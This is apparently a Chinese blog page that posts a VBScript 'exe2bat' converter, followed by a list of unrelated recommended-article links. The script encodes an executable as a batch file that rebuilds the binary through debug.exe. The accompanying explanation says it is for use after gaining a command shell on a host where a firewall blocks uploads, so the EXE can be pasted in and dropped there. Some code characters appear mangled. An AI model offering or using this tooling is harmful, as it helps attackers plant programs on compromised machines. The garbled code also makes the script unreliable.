exe2bat的脚本

fp=wscript.arguments(0)

fn=right(fp,len(fp)-instrrev(fp,""))

with createobject("adodb.stream")

.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)

end with

sll=sl mod 65536:slh=sl65536

with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)

.write "@echo str="""

for i=1 to sl

bt=ascb(midb(str,i,1))

if bt<16 then .write "0"

.write hex(bt)

if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""

next

.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_

+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_

+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"

.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_

+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_

+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"

end with

说明文件:在得到一个CMDSHELL而又因为防火墙等原因无法上传文件时,可以使用本脚本.

直接在本地将一个EXE文件转换为一个BAT文件然后用记事本打开BAT文件,然后复制全部->CMDSHELL粘贴一下就可以在CMDSHELL下得到我们上传的EXE文件了.

脚本用法为:cscript cdown.vbs XXX.exe

在同目录下生成一个BAT文件.按上面的做法

java bat转vbs_EXE2BAT(EXE转BAT)的vbs脚本相关推荐

  1. 编辑器下运行exe或bat run exe or bat in editor

    bat 打开bat文件,在第一行插入cd /D %~dp0 Application.OpenURL("xxx.bat"); UnityEditor.EditorUtility.Op ...

  2. java工程在windows环境用bat启动详解

    原 java工程在windows环境用bat启动详解 2016年08月24日 13:19:52 qq_31197461 阅读数:3038 <span class="tags-box a ...

  3. 去掉bat和某些exe的黑窗口

    bat文件和某些调试用的exe文件都会用到终端输出调试信息.但是演示的时候通常希望隐藏黑窗口,有两种方法,第一种是重新编译程序,在编译选项里面去掉终端输出,但这样有时比较麻烦.下面是一种简单的方法: ...

  4. 88道BAT Java面试题 助你跳槽BAT,轻松应对面试官的灵魂拷问

    88道BAT Java面试题 助你跳槽BAT,轻松应对面试官的灵魂拷问 前言: 备战金九银十逃脱不了面试官的灵魂拷问,笔者整理了88道Java面试,由于面试题太多文章没有包含答案,需要领取这些面试题答 ...

  5. php 打包exe程序,bat打包成exe

    bat打包成exe 发布时间:2018-11-29 15:00, 浏览次数:349 , 标签: bat exe 在之前的文章中向大家介绍了如何通过exe-4j将jar打包成exe文件,这篇文章为大家介 ...

  6. 使用 GraalVM 将基本的 Java 项目打包成 EXE

    使用 GraalVM 将基本的 Java 项目打包成 EXE GraalVM 的环境搭建 将基本的 Java 项目打包成 EXE 将 JAR 转化为 EXE GraalVM 与 Java 中其它打包成 ...

  7. 用nc+简单bat/vbs脚本+winrar制作迷你远控后门

    前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...

  8. 全网最全脚本整理,优秀学习范例汇集 —— VBS脚本、BAT脚本(批处理)公开、免费下载

    目录 ▼脚本列表 1.VBS脚本列表及脚本说明 2.BAT批处理脚本列表及脚本说明 ▼脚本下载链接 ◆ 配合<定时执行专家>使用,功能更加强大 ◆ 关于<定时执行专家>的&qu ...

  9. java写exe程序实例,java实现可安装的exe程序实例详解

    java实现可安装的exe程序实例详解 通过编写java代码,实现可安装的exe文件的一般思路: 1.在eclipse中创建java项目,然后编写java代码,将编写好的java项目导出一个.jar格 ...

最新文章

  1. neo4j客户端下载
  2. 只要你的AI算法能比小白鼠聪明,DeepMind的这20万奖金请拿走
  3. PKI/CA (3)CA功能细分
  4. 20161104面试题-面试常问问题
  5. iOS属性传值传递不过去
  6. opencv问题解析
  7. LeetCode 1560. 圆形赛道上经过次数最多的扇区
  8. php rsa加密乱码_PHP RSA密文过长加密解密 越过1024的解决代码
  9. idea 未实现接口红线提示,重复代码波浪线提示,自动换行,控制台输出内容自动换行...
  10. VoxelNet:End-to-End Learning for Point Cloud Based 3D Object Detection阅读笔记
  11. “牙医”教你用450行Go代码自制编程语言 | Gopher Daily (2021.01.15) ʕ◔ϖ◔ʔ
  12. 高速高精度半导体运动台设计(二)
  13. 大数据技术的概论(2)
  14. Olympiad(求区间内的美丽数)超详细 (C,C++)
  15. 在我的新书里,尝试着用股票案例讲述Python爬虫大数据可视化等知识
  16. 【系统分析师之路】2018年上系统分析师综合知识真题
  17. android 模拟黑胶唱片,VinylTap:完美模拟黑胶碟 可翻面可调速
  18. 程序员未来的出路与如何转型
  19. 经由unix域套接字传送文件描述符
  20. openlayers6【二十二】vue addLayer实现点击地图添加图标要素信息,编辑点位信息

热门文章

  1. 基于STM32F401RET6字库烧录(SPIW25Q64驱动)
  2. 7月30日—31日英特尔开源物联网大会直播,欢迎收看
  3. appium向右滑动
  4. java分布式部署的优点_什么是分布式系统!以及分布式系统架构的优缺点!
  5. 移动端h5页面帮助资料干货
  6. JS继承六种方式详解
  7. 算法分析之工作分配问题
  8. IDEA常用快捷键及模板
  9. 压力测试ab安装 linux,Centos8下安装ab压力测试工具及ab命令详解
  10. Win7 瘦身 winsxs文件夹